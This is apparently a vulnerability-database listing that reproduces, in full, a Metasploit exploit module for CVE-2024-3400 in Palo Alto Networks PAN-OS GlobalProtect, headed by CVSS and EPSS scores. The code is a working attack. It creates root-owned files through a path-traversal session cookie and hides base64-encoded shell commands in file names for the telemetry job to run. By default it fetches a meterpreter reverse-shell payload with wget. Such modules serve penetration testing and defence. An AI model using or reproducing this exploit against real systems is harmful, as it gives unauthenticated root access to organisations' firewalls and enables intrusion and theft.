CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.6%
This Metasploit module exploits two vulnerabilities in Palo Alto Networks PAN-OS that allow an unauthenticated attacker to create arbitrarily named files and execute shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or GlobalProtect Portal enabled and telemetry collection on (default). Multiple versions are affected. Payloads may take up to one hour to execute, depending on how often the telemetry service is set to run.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
allow an unauthenticated attacker to create arbitrarily named files and execute
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
one hour to execute, depending on how often the telemetry service is set to run.
},
'License' => MSF_LICENSE,
'Author' => [
'remmons-r7', # Metasploit module
'sfewer-r7' # Metasploit module
],
'References' => [
['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier
['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory
['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation
['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis
],
'DisclosureDate' => '2024-04-12',
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ARCH_CMD],
'Privileged' => true, # Executes as root on Linux
'Targets' => [ [ 'Default', {} ] ],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET',
'RPORT' => 443,
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/var/tmp',
'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
# The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created
# The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log
# Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests
# The "device_telemetry_*.log" files in /var/log/pan will log the command being injected
ARTIFACTS_ON_DISK
# Several 0 length files are created in the following directories during checks and exploitation:
# - /opt/panlogs/tmp/device_telemetry/hour/
# - /opt/panlogs/tmp/device_telemetry/minute/
# - /var/appweb/sslvpndocs/global-protect/portal/fonts/
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']),
]
)
end
def check
# Try to create a new empty file in an accessible directory with the exploit primitive
# This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory
file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"
touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}")
# Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
res_check_created = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name)
)
return CheckCode::Unknown('Connection failed') unless res_check_created
res_check_not_created = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}")
)
return CheckCode::Unknown('Connection failed') unless res_check_not_created
if (res_check_created.code != 403) || (res_check_not_created.code != 404)
return CheckCode::Safe('Arbitrary file write did not succeed')
end
CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted")
end
def touch_file(file)
# Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';'
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Cookie' => "SESSID=./../../../..#{file}"
}
)
end
def exploit
# Encode the shell command payload as base64, then embed it in the appropriate exploitation context
# Since payloads cannot contain spaces, ${IFS} is used as a separator
cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-"
# Create maliciously named files in both telemetry directories that might be used by affected versions
# Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'.
# It's possible that the payload will execute twice, but we've only observed one location working during testing
files = [
"/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`",
"/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`"
]
files.each do |file_path|
vprint_status("Creating file at #{file_path}")
touch_file(file_path)
# Must register for clean up here instead of within touch_file, since touch_file is used in the check
register_file_for_cleanup(file_path)
end
print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')
print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')
end
end